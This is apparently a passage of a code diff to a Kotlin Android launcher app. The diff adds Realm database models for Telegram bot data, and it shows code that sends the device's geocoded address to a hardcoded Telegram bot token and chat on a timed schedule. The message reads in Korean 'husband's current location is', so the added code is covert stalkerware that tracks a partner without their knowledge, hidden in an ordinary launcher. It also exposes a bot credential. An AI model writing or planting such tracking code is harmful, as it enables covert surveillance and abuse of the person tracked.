"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
|
||||||
|
//7068729507
|
||||||
|
// OkHttp 클라이언트 객체 생성
|
||||||
|
val client = OkHttpClient.Builder()
|
||||||
|
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||||
|
.build()
|
||||||
|
|
||||||
|
// GET 요청 객체 생성
|
||||||
|
val builder: Request.Builder = Request.Builder().url(url)
|
||||||
|
.addHeader("Content-Type", "application/json").get()
|
||||||
|
|
||||||
|
val request: Request = builder.build()
|
||||||
|
|
||||||
|
BLog.LOGE("telegram before request ")
|
||||||
|
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||||
|
val response: Response = client.newCall(request).execute()
|
||||||
|
if (response.isSuccessful()) {
|
||||||
|
// 응답 받아서 처리
|
||||||
|
val body: ResponseBody? = response.body()
|
||||||
|
if (body != null) {
|
||||||
|
|
||||||
|
}
|
||||||
|
} else BLog.LOGE("telegram Error Occurred")
|
||||||
|
|
||||||
|
} catch (e: java.lang.Exception) {
|
||||||
|
e.printStackTrace()
|
||||||
|
}
|
||||||
|
}, 5, TimeUnit.SECONDS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Display location details on UI elements
|
||||||
|
// Log detailed location information
|
||||||
|
BLog.LOGE("Location Addresses: $addresses")
|
||||||
|
} catch (e: IOException) {
|
||||||
|
e.printStackTrace()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@ -4,19 +4,33 @@ import io.realm.kotlin.Realm
|
|||||||
import io.realm.kotlin.RealmConfiguration
|
import io.realm.kotlin.RealmConfiguration
|
||||||
import io.realm.kotlin.UpdatePolicy
|
import io.realm.kotlin.UpdatePolicy
|
||||||
import io.realm.kotlin.ext.query
|
import io.realm.kotlin.ext.query
|
||||||
|
import io.realm.kotlin.ext.realmListOf
|
||||||
import io.realm.kotlin.types.BaseRealmObject
|
import io.realm.kotlin.types.BaseRealmObject
|
||||||
|
import io.realm.kotlin.types.RealmList
|
||||||
|
import io.realm.kotlin.types.RealmObject
|
||||||
import io.realm.kotlin.types.TypedRealmObject
|
import io.realm.kotlin.types.TypedRealmObject
|
||||||
|
import io.realm.kotlin.types.annotations.Ignore
|
||||||
|
import io.realm.kotlin.types.annotations.PrimaryKey
|
||||||
import rasel.lunar.launcher.apps.SimpleContact
|
import rasel.lunar.launcher.apps.SimpleContact
|
||||||
import rasel.lunar.launcher.model.AppInfo
|
import rasel.lunar.launcher.model.AppInfo
|
||||||
|
import rasel.lunar.launcher.model.BotCommandEentitie
|
||||||
import rasel.lunar.launcher.model.CurrentPlayItem
|
import rasel.lunar.launcher.model.CurrentPlayItem
|
||||||
import rasel.lunar.launcher.model.NotificationItem
|
import rasel.lunar.launcher.model.NotificationItem
|
||||||
import rasel.lunar.launcher.model.RssData
|
import rasel.lunar.launcher.model.RssData
|
||||||
import rasel.lunar.launcher.model.RssDataInterface
|
import rasel.lunar.launcher.model.RssDataInterface
|
||||||
|
import rasel.lunar.launcher.model.TelegramBotUpdate
|
||||||
|
import rasel.lunar.launcher.model.TelegramChat
|
||||||
|
import rasel.lunar.launcher.model.TelegramData
|
||||||
|
import rasel.lunar.launcher.model.TelegramFrom
|
||||||
|
import rasel.lunar.launcher.model.TelegramMessage
|
||||||
import kotlin.reflect.KClass
|
import kotlin.reflect.KClass
|
||||||
|
|
||||||
object WorkersDb {
|
object WorkersDb {
|
||||||
|
|
||||||
val clazz : Set<KClass<out BaseRealmObject>> = setOf(RssData::class, NotificationItem::class, AppInfo::class,SimpleContact::class, RecentCall::class, RecentSms::class, CurrentPlayItem::class)
|
|
||||||
|
|
||||||
|
val clazz : Set<KClass<out BaseRealmObject>> = setOf(RssData::class, NotificationItem::class, AppInfo::class,SimpleContact::class, RecentCall::class, RecentSms::class, CurrentPlayItem::class,
|
||||||
|
TelegramBotUpdate::class, TelegramData::class, TelegramMessage::class, TelegramChat::class, BotCommandEentitie::class, TelegramFrom::class,)
|
||||||
|
|
||||||
val schemaVersion : Long = 0L
|
val schemaVersion : Long = 0L
|
||||||
|
|
||||||
|
|||||||
@ -10,7 +10,6 @@
|
|||||||
app:layout_constraintRight_toRightOf="parent"
|
app:layout_constraintRight_toRightOf="parent"
|
||||||
android:id="@+id/categoryz"
|
android:id="@+id/categoryz"
|
||||||
android:maxRows="5"
|
android:maxRows="5"
|
||||||
|
|
||||||
android:orientation="horizontal"
|
android:orientation="horizontal"
|
||||||
android:layout_width="match_parent"
|
android:layout_width="match_parent"
|
||||||
android:layout_height="wrap_content">
|
android:layout_height="wrap_content">
|
||||||
@ -32,9 +31,8 @@
|
|||||||
android:id="@+id/input"
|
android:id="@+id/input"
|
||||||
android:layout_width="match_parent"
|
android:layout_width="match_parent"
|
||||||
android:layout_height="wrap_content"
|
android:layout_height="wrap_content"
|
||||||
|
|
||||||
android:imeOptions="actionDone"
|
android:imeOptions="actionDone"
|
||||||
android:inputType="textPassword" />
|
android:inputType="text" />
|
||||||
|
|
||||||
</com.google.android.material.textfield.TextInputLayout>
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||||
Loading…
x
Reference in New Issue
Block a user